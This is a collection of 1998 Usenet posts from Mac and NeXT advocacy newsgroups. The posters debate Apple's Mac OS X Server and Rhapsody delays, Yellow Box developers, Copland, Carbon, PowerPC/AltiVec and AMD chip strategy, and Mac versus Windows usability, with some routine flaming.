Mr Randolph, Scott Knaster is a ignorant child? And if you were in
seattle you probably meet very few mac programmers, MS's mac programms are
mainly written in their all mac campus in the silly valley
--
sucky sucky, $10.
Cartman as a vietnamese prostitute
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
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References: <01bdfc5b$c2fd8520$06387880@chewy>
Message-ID: <F9eX1.2583$yb5.3018728@news.rdc1.sdca.home.com>
Date: Wed, 21 Oct 1998 05:19:33 GMT
NNTP-Posting-Date: Tue, 20 Oct 1998 22:19:33 PDT
Organization: @Home Network
In <01bdfc5b$c2fd8520$06387880@chewy> "Todd Heberlein (todd at NetSQ dot
com)" wrote:
> For most of us, the delays of Rhapsody (originally planned for Jan
> 98?), then delays of MacOS X Server (Fall of 98), and finally the
> potential cancellation of MacOS X Server is only frustrating.
>
> I wonder about all those developers creating YB applications but who
> cannot generate any revenues because of the OS never leaves the beta
> stage?
>
> While we [potential] users/customers can be frustrated by the
> [in]actions from Apple, I have to believe that the YB developers are
> really pulling out their hair.
>
> Suggestions: (1) Apple lets YB developers sell their products to
> current Rhapsody beta testers/developers. (2) Apple openly distribute
> MacOS X Server as pre-release software (perhaps for a $20 license fee)
> and let YB developers sell their products to this expanded consumer
> base. (3) Apple declare MacOS X Server as a product and sell it.
>
> Any thoughts?
>
>
YB developers are legal Roadkill along the Silicon Road to Apple's Success.
Lead, follow or get out of the way YB developer's are choosing their
risk/reward tolerance. Standback to watch, YB developer's will be left in
the dust of progress. They must find their market.
Classic "Chicken and Egg" with Apple late on laying.
-r
Rex Riley
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: Mon, 19 Oct 1998 11:15:26 -0500
Organization: Ericsson North America Inc.
Message-ID: <362B659E.8411301B@ericsson.com>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <36268A98.FED2648E@nstar.net> <706khr$2p7i$1@piglet.cc.uic.edu> <3626F305.41B09CB2@nstar.net> <707qn6$1esq$1@piglet.cc.uic.edu>
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Anil T Maliyekke wrote:
> As for the UNIX market, I think Intel is going about things the wrong
> way. Trying to get every single UNIX vendor to port their OSes
> over to IA-64 is just going to create massive confusion and doubt
> in customers. And it's just going to weaken the companies offering
> UNIX. Besides the more Intel tries, the more likely Microsoft will
> find a way of promoting another hardware platform and delaying
> support for IA-64.
Intel was actually the driving force behind a recent attempt at forming
collaboration over a unified UNIX. I think Intel has very clear goals,
here; in any case the danger of Microsoft moving to another hardware
platform wouldn't scare me if I were Craig Barrett (and I'm sure it
doesn't).
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 19 Oct 1998 16:22:13 GMT
Organization: Primenet (602)416-7000
Message-ID: <70fovl$onj$2@nnrp03.primenet.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <362B3FE6.B57084A9@nstar.net> <70fh7b$jm8@newsb.netnews.att.com> <F12zqr.349@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: [...] Being "in the loop" of OS developers have proven to be an
: interesting experience. I can think of at last 5, perhaps as many as
: 10, of these identical rumors coming about but *not* hitting the rumor
: sites. [...]
Wait a second ... you've heard 5-10 developers at Apple saying the same
thing?
: If anything this demonstrates why Apple has to keep mum about this as
: much as possible, as it seems that some of their employees are willing to
: spout off about things they really don't know about, in public, at
: MacWorlds. Releasing real info would simply add to the confusion.
I hope you just mean "spin-control could be dangerous", and not "You can't
handle the truth!".
John
From: vextor@crystal.palace.net ()
Subject: Re: A computer is not like a car.
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Followup-To: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <mteh-ya02408000R1010981831230001@news.earthlink.net> <70e2nc$k4h$1@ligarius.ultra.net>
Message-ID: <nUJW1.459$AP6.2602@nntp1.nac.net>
Date: Mon, 19 Oct 1998 16:36:35 GMT
NNTP-Posting-Date: Mon, 19 Oct 1998 12:36:35 EDT
In message <70e2nc$k4h$1@ligarius.ultra.net>, WaldoTim (waldotim@yahoo.com) wrote:
: Oliver M. Sun wrote in message ...
: >
: > You know why MS introduced the "integrated browser" in place of the old
: >Windows Explorer? Because their surveys indicated that people found it
: >easier to use web browsers than to use Windows itself.
: >
: > Great GUI, eh? (More like camel dung).
: That's a completely invalid leap of logic. People find web browsers in
: general
: easier to use than GUIs in general.
Isn't a web browser (at least in this context) a GUI? I know that there
are text based web browsers, that don't have a GUI, but I don't think that
we are talking about those, right? The argument here is that people found
the Windows Explorer harder to use than their web browser's interface. Both
are GUI's. I believe that your statement actually supports the argument in
favor of the Web Browser GUI being easier to use than Explorer, right?
Since both are Gaphical User Interfaces, and you seem to support that the
Browser was easier.
--
(vextor@crystal.palace.net)
Remember, drive defensively! And of course, the best defense is a good
offense!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 19 Oct 98 09:38:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B250B92D-1A5F4@206.165.43.49>
References: <70fh7b$jm8@newsb.netnews.att.com>
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nntp://news.primenet.com/comp.sys.mac.programmer.misc,
nntp://news.primenet.com/comp.sys.next.advocacy
gupta@knim.tm.tta.moc-mirror said:
>
>
> When I read the rumor, my second reaction was that this might
> be a way of forcing Apple to declare its intentions.
The OD developers tried that with OD. Look what happened to OpenDoc.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Pascal Haakmat" <ahaakmat@REMOVE.TO.REPLY.cable.a2000.nl>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: Tue, 20 Oct 1998 22:15:36 +0200
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <70ir0r$h85$1@newton.a2000.nl>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net>
<6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net>
<6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com>
<701cmv$6bk@news1.panix.com> <3624C1B9.F1B81B2F@ericsson.com>
<70d957$flm@news1.panix.com> <362A31E5.39218D89@nstar.net>
<70deko$hbk@news1.panix.com> <362A70D6.E87F0C9A@nstar.net>
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In article <362A70D6.E87F0C9A@nstar.net> , "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>
>> And PhotoShop running as a Carbon App isn't a port?
>
>No, it's not.
This seems to be stretching the point. Surely anything ported to Carbon is a
port.
Pascal.
From: alexr@I.HATE.SPAM (Alex Rosenberg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Tue, 20 Oct 1998 03:33:08 -0700
Organization: Hackers Anonymous
Message-ID: <alexr-2010980333080001@roseal2.apple.com>
References: <F130B3.3D0@T-FCN.Net> <B250BE09-2CA4B@206.165.43.49>
In article <B250BE09-2CA4B@206.165.43.49>, "Lawson English"
<english@primenet.com> wrote:
>Being able to directly manipulate pixels' coordinates using 64-bit
>fixed-point arithmetic might give you a big speedup because you wouldn't
>have to convert to/from fixed/ float for each pixel manipulated. The
>conversion process might eat up any advantage of having a fixed + float mix
>of instructions, at least on a PPC.
The conversion process isn't really that painful since the conversion
buffer is always going to be in the cache. For many algorithms, the
conversion can be readily scheduled among the other available work.
>Of course, it may be that AltiVec renders most of these points obsolete. I
>don't recall how conversion between AltiVec fixed and float goes. It still
>touches memory during the process, doesn't it?
No memory touch is involved for fixed->float or float->fixed conversions.
vcfsx,vcfux convert four signed or unsigned 32-bit fixed-point numbers to
32-bit floats and correct for any desired fixed-point scaling (divide by
2^UIMM, where UIMM is an unsigned 5-bit immediate number).
vctsxs,vctuxs do the opposite conversion from float to int with scaling
and saturation.
+------------------------------------------------------------+
| Alexander M. Rosenberg <mailto:alexr@_spies.com> |
| Nobody cares what I say. Remove the underscore to mail me. |
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
References: <70fpbp$dhd$1@nnrp1.dejanews.com> <SCOTT.98Oct20172508@slave.doubleu.com>
Subject: Re: Bold prediction! Forget Server...
Message-ID: <VmkX1.1160$nR3.4162936@news.rdc1.nj.home.com>
Date: Wed, 21 Oct 1998 12:23:17 GMT
NNTP-Posting-Date: Wed, 21 Oct 1998 05:23:17 PDT
Organization: @Home Network
Scott Hess wrote in message ...
>In article <70fpbp$dhd$1@nnrp1.dejanews.com>,
> cvbuskirk@home.com writes:
> The NeXT crowd will probably face the brunt of this, but hey, with
> the exception of a *few* hardcore software houses, what have they
> developed in the past few years anyhow?
><...>
> Remember the quote, "Carbon. All lifeforms are based on this."
>
>I'm not clear on exactly what your point was, but from the pieces you
>posted, it sounds like the point was "Drop the new APIs and just ship
>Carbon on Mach", essentially a new variation on Copland.
No! If you would have read on, I stated I am happily awaiting using java
yellow box apis and webobjects. Why the need for server? Make beta 3
public, which would be useable, and distribute the carbon apis in alpha
form. Why the need to release intel, when there is no upgrade path.
Buyer beware, wysiwyg with the intel release. Question, will apple
at least release upgrades of yellow box apis?
-chris
From: asiufy@iname.com (Alexandre A. S.)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 21 Oct 1998 11:07:37 -0200
Organization: None
Message-ID: <asiufy-2110981107380001@200.229.243.58>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net>
Mail-Copies-To: always
In article <70e4pg$hq2$1@strato.ultra.net>, "WaldoTim"
<waldotim@yahoo.com> wrote:
. Alexandre A. S. wrote in message ...
. >In article <36184884.D44FFF6C@nstar.net>, Michael Peck <mjpeck@nstar.net>
. wrote:
. >
. > Ever tried to dump a folder inside Win95/98's trash, and then trying
. >to get it back? You can't. You'll get a mishmash of files. That's not what
. >_I_ would expect the computer to do.
.
. Oh, come on! You act like Macs never have a bad day! Computers,
. like everything else in the universe (including your brain, obviously) are
. subject to entropy, or a tendency to move toward maximum randomness.
. To quote Forrest, "Shit Happens". Get over it. I've been using Windows
. since the 2.0 days, and I got my first copy of Windows95 when it was still
. in
. public beta. I've never had a problem with the recycle bin. In fact, it
. works
. a lot better than I originally expected it to. Just like a Mac, in fact. :)
.
Yes, Macs have bad days, basically because of their users. Now,
Windows... Well, using Windows actually MAKES for a bad day!
I know shit happens. But it happens more often when you use Windows.
. So Windows does weird things once in a while. But, I'll tell you what: so
. does Solaris, NeXT, Linux, whatever SGI runs on their boxes (no personal
. experience there-- just legends around the water cooler), and, perish the
. thought! Mac OS.
.
No. I find it hard to believe you'll see a Unix system do "weird
things". Unix is one of the most controllable OSes out there. If you know
what you're doing, you're in absolute control of the machine. The MacOS is
almost there, while Windows is completely enigmatic, it HIDES everything
from the user, thus when bad things happen, you're forced to believe it's
"weird" phenomena.
. > I could mention thousands of other
. > things like this one, examples of Windows' idiotic behaviour.
.
. Yet you don't, which throws your credibility into doubt. Come up with
. some specific, objective reasons why Windows' GUI is defective. Really.
. I love to argue about this. :)
OK, sit down and grab a cup of coffee because this will be long.
There are so many stupidities in Windows that it'll take me a whole year
to list all of them. But I'll try some.
First, ever tried to uninstall Win98? Uninstalling Windows 98 from
your system isn't the same as deleting a few files. Or have you tried
installing a second copy of Win95/98 to the same partition? Can't be done.
Ever had to reinstall the OS? Yeah, stupid question, 99.99% of
WIndoze users had to, in the last couple of months. So, did you get all
your programs ready to go after installation? OK, you didn't. But could
you EASILY and QUICKLY get them running on the newly installed OS? No? Why
not? Because of the stupid, cryptic filenames you have no clue what their
function is? Oh, I see... Well, Macs can do it, I mean, you can have 100
copies of the OS on the same partition, and everything'll work just fine
from each one of the 100 installations. Not that you actually NEED to keep
reinstalling the MacOS ... :)
Every items in the Windows GUI has an action of its own. I mean,
some items can be double-clicked, others cannot. Some items can be
right-clicked, others cannot. Consistency doesn't exist in Microsoft's
vocabulary. No, it does. Consistently bad design, that is.
. > For me, the GUI is everything. I decide what
. >I use today based on its GUI, after all, that's what I'll be seeing and
. >interacting with. What an example? I like Netscape's GUI better than IE. I
. >know IE draws pages from the cache faster, but still I use Netscape. It's
. >just a pleasant product, I guess.
.
.
. I'll just throw in here that Netscape was wreaking such havoc with both
. the network and the Help Desk open call count that I had to get the
. division president to authorize me to force everyone to drop it and use.
. For a bunch of people who whined so much about Microsoft's
. "arbitrary departure from established standards", Netscape obviously
. didn't look at RFC.822 very closely.
. In my unsolicited personal opinion, Netscape is the second-ugliest
. piece of software I've ever seen, the first being Microsoft Publisher. But
. then, I like skinny flat-chested women with short dark hair and rings in
. their
. noses, so my opinions are highly suspect anyway. :)
.
Is that on Windoze boxes? Because on my Mac, and just about
everybody that I know, Netscape is, by far, the most stable browser. As I
said, I agree IE is faster (Netscape 4.5 narrows the margin, though), but
what's the use of a faster browser when you keep crashing every couple of
hours? Oh... Look at what I just wrote... That can be applied to Windows
too. You can have a faster Windoze box, like a dual PII or whatever, but
what's the use if it'll keep crashing endlessly? Throws productivity out
the door.
I'm not here to defend Netscape, I know it used to be buggy code in
Windoze, back then when I used PCs, but sometimes I think that Microsoft
is pulling a DR-DOS with them, like, making Netscape crash more often than
IE. Notice I said more often, because IE crashes a lot too :P
Yep, taste is subjective, and highly personal. I like women with
long hair :P
. > Just because no new features were introduced doesn't mean we should
. >stop and don't improve on the current ones. Win98 did nothing to improve
. >Win95's already horrible GUI, in fact, it only made it worse!
.
.
. Again, no examples. Most of the people I talk to usually come out with
. something like "Hmmm... Doesn't seem much different, does it?"
.
What, you mean that the stupid web integration thing didn't make the
GUI different? Well, that puts YOUR credibility in check now...
. p.s. sorry about the cheap shot about your brain. I'm feeling peevish. I
. spent
. all day trying to get a Mac to recognize a non-Apple SCSI CD-ROM
. drive. :( Any hints?
Try any of the countless thrid-party CD drivers. FWB's, CD/DVD
Tuneup, whatever. Or try Apple CD version 5.3.1, which is rumoured to work
with non-Apple devices.
--
cheers! mailto://asiufy@iname.com
the progrock mp3 listening booth! http://members.xoom.com/asiufy
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Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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Date: Wed, 21 Oct 1998 14:32:25 GMT
In <70i4tt$i45$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> Yes, Apple have a problem in correctly positioning OSX Server without
> either
> stealing OS8.5's thunder or undermining the future OSX. I think you're
> 100% right, there. But it's a problem largely of their own making
How so? I don't see any clearly obvious ways to make it better without
panicing the Mac crowd.
> In any case, the problem does not seem so insoluble to me. Call OSX Server
> "OSX Beta" instead, since that's what it really is anyway, and make it
> available as a beta to anyone who wants it, either for a nominal fee or
> for
MacOS-X and Server will intersect at a fairly limited set of points. The
underlying technology of the OS is changing radically, the entire graphics
engine is going away, Carbon is coming etc. The only really clear
commonality will be YB. Yes, it will look and run basically the same, but
for that matter, so does OS8.5. I doubt you'd propose that 8.5 be called X
beta!
> And in the meantime, people like me will be able to use it to do
> productive
> work, as we've been doing on NeXTSTEP for years but now on much faster
> hardware.
Well, why can't you do this now - aside from having to pay twice?
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 21 Oct 1998 14:59:22 GMT
Organization: Primenet (602)416-7000
Message-ID: <70kssa$3p6$1@nnrp03.primenet.com>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
: > I prefer OpenStep (YB) *far* more than X, and I even like it more than
: > Java. But in the end, my customers needed the software, so I had to
: > abondoned YB development.
: I don't understand Todd. If you wanted to release an OpenStep version,
: why didn't you?
I think the term "servicable, available, market" covers it.
John
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
<F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com>
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Date: Wed, 21 Oct 1998 14:41:10 GMT
In <362CD8F5.27CBFE58@ericsson.com> Michael Peck wrote:
> > This is entirely different than what they were doing. They were doing
> > "server" and telling everyone to upgrade.
>
> They were doing MacOS and OPENSTEP and telling developers that they now
> had an upgrade option.
No they were not. The strategy was _clearly_ a stepped migration to an
OpenStep-a-like with BB for backward compatibility. This is entirely
different than today's strategy.
> I don't know how you get this "in retrospect". What signs have we that
> *failing* to ship a completely new operating system is better than
> *succeeding* in shipping the already-highly-acclaimed OPENSTEP?
If you were at WWDC, you would know the answer by the applause and the
comments that YB was dead and good riddance.
> I'll take the strategy we might have had in early 1997 over the strategy
> we still don't have in late 1998, Genius Jobs and his tactics aside.
Strategy in 1997:
a) several more releases of MacOS
b) at the same time several "beta" release of Rhapsody
c) final conversion to Rhapsody, YB 1st class, BB 2nd class and orphaned
Stratefy in 1998:
a) several more releases of MacOS
b) several releases of Rhapsody
c) eventual conversion to OS-X, with both YB and MacOS API's being 1st class
I see no other difference, and you haven't pointed any out in this
message.
> What you call "panic" is actually the continual, tired, dogged criticism
> of Jobs' (and others within Apple) idiotic actions for *YEARS*.
Jobs hasn't been at Apple for years. Moreover I don't think you're in
any place to tell me what my words mean.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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<01bdfc8d$2142dbe0$06387880@chewy>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 14:45:37 GMT
In <01bdfc8d$2142dbe0$06387880@chewy> "Todd Heberlein (todd at NetSQ dot
com)" wrote:
> > Macweek is quoting an Apple spokesperson to the effect that
> > MOSXS is not cancelled and will be released before the end
> > of the year. See their site.
>
> Everyone who has heard this before, raise your hand.
*raises hand*
Now every time that this was true in the past? Zero times. No matter
how many times you repeat an untrue rumor, it doesn't become more true.
> Last year I told my customers they could have access to my software using
> OpenStep by March, but when it was obvious Apple wasn't going to ship
> Rhapsody in its planned time
WHOA! I have _never_ seen anything about releasing Rhapsody before fall.
On what basis did you tell your customers that it would be available? If
you refer to the OS side, it's been available since March. I don't
understand the issue here.
> I prefer OpenStep (YB) *far* more than X, and I even like it more than
> Java. But in the end, my customers needed the software, so I had to
> abondoned YB development.
I don't understand Todd. If you wanted to release an OpenStep version,
why didn't you?
Maury
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 21 Oct 1998 15:00:45 GMT
Organization: University of Illinois at Chicago
Message-ID: <70ksut$181k$1@piglet.cc.uic.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: Anil T Maliyekke (amaliy1@uic.edu) wrote:
: : I remember there being some talk of granting AMD an architectural
: : license. But nothing was ever formally announced regarding AMD
: : licensing the Alpha. They have to run a tight ship right now,
: : so investing in Alpha would be a waste of resources for AMD at
: : the moment.
: They have to make contingency plans. AMD wants to move into the high
: price/margin processor arena, and they *may* yet do it with K7, but
: what's next? Will K8 be IA-32 as well, and can it compete against the
: likes of Alpha 21364 and McKinley? K7++ isn't a long term solution
: to compete against the 21364/McKinley platforms. In less than 3 years
: those chips should be on the market, and it normally takes 3 years
: or more to bring a new core to fruition from the ground up. AMD must
: have a battleplan in place if it wishes to enter and remain in the
: server/workstation processor business.
The majority of the server and workstation market isn't as sensitive
to performance on SPEC as it is to cost and bandwidth issues, so K7
die shrinks may be competitive if K7 is actually competitive when it comes
out. The question is how high up the food chain AMD wants to go. I think
it is probably more important for AMD to focus on getting in the middle
of the market and trying to take over the business desktop market in
the next couple of years. If Intel loses that market, not only they will
lose their biggest revenue and profit generator, they may have a harder
time pushing IA-64 and getting it into the volume market that will
allow IA-64 to become self perpetuating. The effects on their revenue may
not be so visible, because it seems that Intel is making a concerted
effort to diversify out of the computer MPU and chipset business,
branching out into netorking and embedded markets.
: : : It would make sense, and it is a natural alliance.
: : : Intel AMD
: : : HP Compaq
: : : Pentium II/etc K6/K7/etc
: : : IA-64 Alpha
: : : Slot M Slot A
: : : HP/UX D/UX
: : Of course neither of these UNIXes have software portfolios on these
: : platforms, so it really doesn't make that sense. Besides there is
: : only going to be a window of maybe 6 to 12 months for the
: : K7 and Alpha 21264 to ride each other, since once the 21364 comes out
: : the EV6/Slot A interface will likely disappear quickly from
: : Compaq/Digital Alpha based systems.
: I have only heard sketchy details of 21364, and I'm not as convinced
: that Slot A will die quickly.
Well, it seems that it will simplify system designs for both single
CPU systems and MPs. I'm not so convinced that it will be such
a good idea for large MPs for certain applications, since it seems to be
more of ccNUMA type design.
: : : However, I have not seen any news of AMD working on an Alpha design,
: : : although like Intel, AMD now has two design teams running in parallel
: : : as well, and since the K7 team is still working on debugging and
: : : tapeout of K7, I wonder what the K6(NexGen) team is doing?
: : They are apparently responsible for making modifications to the
: : K6 core. Their next project is SharpTooth, or the K6-3 with
: : integrated cache.
: I don't think that adding 3DNow! or adding another level of caching
: would require an entire design team's undivided attention. Those are,
: relatively speaking, minor tweaks to the core. What does their next core
: look like? I suspect that the main chunk of the team has moved on to
: some yet-unannounced project.
Maybe, or maybe some of them are working on the K7. I don't know if
AMD can afford to have multiple large teams working on three generations
of CPUs at the same time.
: --
: davewang@kagututi.kecl.ntt.co.jp.meaningless
: All statements are personal opinions
: Not speaking for NTT or University of Maryland
: Nara, Japan.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Bold prediction! Forget Server...
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Mime-Version: 1.0
Date: Wed, 21 Oct 1998 14:53:58 GMT
In <YPdX1.2567$yb5.3013570@news.rdc1.sdca.home.com> Rex Riley wrote:
> The market demanded Programmer's making $40K without the suit... NeXT
> stalled.
I don't know a single developer that makes less that $50k, most I know
make about $75. Many of them do VB or Perl for that $75. I don't know
what market you refer to, I've never seen any hint of it.
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Wed, 21 Oct 1998 10:54:19 -0500
Organization: Ericsson North America Inc.
Message-ID: <362E03AB.89EF3C21@ericsson.com>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com>
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Maury Markowitz wrote:
>
> In <362CAD9E.8DB4D160@ericsson.com> Michael Peck wrote:
> > > Naaah... the proper solution was to release the revamped toolbox in 1996
> > > as Copland.
> >
> > Bingo. Bingo. Bingo.
>
> And this would do what exactly? Copeland DID NOT WORK. I know, I had
> it. It did NOTHING to advance the already ancient APIs, it did NOTHING for
> stability (far from it, it would crash all on it's own without touching
> *anything*), it did NOTHING to offer an advancement that would entice
> developers onto the Mac.
Gosh, Maury, you have all this free time to post messages to USENET, but
apparently you don't have a few moments to actually *READ* anything.
"release the revamped toolbox in 1996 as Copland". READ READ READ READ
READ READ READ READ READ READ. It makes you look smarter. The last free
advice I'm giving today.
> Sure, it would have stopped developer defections, but that's not the same
> thing. I don't think Copeland could have worked. I haven't seen any
> realistic suggestions on how it could have. As soon as it got feature
> bloat in 95, it was _game_over_.
I'm so embarassed for you.
> Michael, did you ever use it? Did you look over the docs? Did you try
> to get it to run for more than 10 minutes? I did. It _didn't_work_.
> Sheesh, the level of anti-OS-X rhetrotic is rediculous! How can anyone
> seriously suggest that Copeland is a better policy? That's why the
> cancelled it, IT DIDN'T WORK AND SHOWED NO SIGNS THAT IT EVER WOULD.
Oh, you just couldn't stop. I wanted you to stop, but then you had to
break out the ALL CAPS on a tangent that has nothing to do with the
thread. The shame.
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
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References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com>
<ericb-1910982252330001@r4149.resnet.cornell.edu> <362CAD9E.8DB4D160@ericsson.com>
Mime-Version: 1.0
Date: Wed, 21 Oct 1998 14:58:35 GMT
In <362CAD9E.8DB4D160@ericsson.com> Michael Peck wrote:
> > Naaah... the proper solution was to release the revamped toolbox in 1996
> > as Copland.
>
> Bingo. Bingo. Bingo.
And this would do what exactly? Copeland DID NOT WORK. I know, I had
it. It did NOTHING to advance the already ancient APIs, it did NOTHING for
stability (far from it, it would crash all on it's own without touching
*anything*), it did NOTHING to offer an advancement that would entice
developers onto the Mac.
Sure, it would have stopped developer defections, but that's not the same
thing. I don't think Copeland could have worked. I haven't seen any
realistic suggestions on how it could have. As soon as it got feature
bloat in 95, it was _game_over_.
Michael, did you ever use it? Did you look over the docs? Did you try
to get it to run for more than 10 minutes? I did. It _didn't_work_.
Sheesh, the level of anti-OS-X rhetrotic is rediculous! How can anyone
seriously suggest that Copeland is a better policy? That's why the
cancelled it, IT DIDN'T WORK AND SHOWED NO SIGNS THAT IT EVER WOULD.
Maury
From: "Bryce Barnes" <bbarnes@fastenal.com>
Newsgroups: comp.sys.next.advocacy
Subject: OSX Server PPC Supported Machines?
Date: Wed, 21 Oct 1998 10:29:56 -0500
Organization: http://extra.newsguy.com
Message-ID: <70kujj$3j4@enews4.newsguy.com>
Has anyone seen an updated list of which machines will be supported by
OSX Server for PPC? Will it be more than DR2? Obviously G3's will be
supported but what about older PCI based Macs?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: YB developer's lost revenues
Message-ID: <nagleF16tA5.Itp@netcom.com>
Organization: ICGNetcom
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j1lq$hie$1@nnrp1.dejanews.com> <01bdfc8d$2142dbe0$06387880@chewy> <F16MC2.7AB@T-FCN.Net> <362E0210.D5392CC6@ericsson.com>
Date: Wed, 21 Oct 1998 17:15:41 GMT
Sender: nagle@netcom6.netcom.com
Michael Peck <Michael.Peck@ericsson.com> writes:
>Whence comes this incredible ignorance of the Rhapsody roadmap? Premier
>Release, scheduled for 1/98.
There's a word for people who believe Apple's OS preannouncements.
Suckers.
I mean, really; they've blown it every time since the days of the
68K microkernel.
John Nagle
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: Wed, 21 Oct 1998 17:28:40 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70l5k8$9dp$1@nnrp1.dejanews.com>
References: <70e9kf$20ju$1@piglet.cc.uic.edu> <362AB758.F311A1BD@nstar.net> <70ghgr$2kss$1@piglet.cc.uic.edu> <362BD6BE.EC5FAE54@ericsson.com> <70h18i$2bq$1@piglet.cc.uic.edu>
In article <70h18i$2bq$1@piglet.cc.uic.edu>,
amaliy1@uic.edu (Anil T Maliyekke) wrote:
[ ... ]
> Perhaps what you
> need is some sort of drag & drop data transfer arbritator that takes
> into consideration security issues and connection methods. It can
> help select the most efficient and secure data transfer method according
> to some set of policies. The transfer method could be through
> the file system, network, pipe, shared memory or some other form
> of IPC/RPC/middleware.
What you've described was one of the primary design goals of Mach messaging
and the Mach kernel-- to provide an efficient IPC abstraction which let you
deal with remote (networked) resources as well as local ones.
In fact, the Mach kernel implements higher level constructs like socketpair(),
pipes, and the like via Mach messaging, which for large messages is actually
done by sharing memory pages between tasks. Give credit to Avie Tenavian, a
decade or more ago.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: a_team@dds.nl (A-team)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 21 Oct 1998 20:03:26 +0200
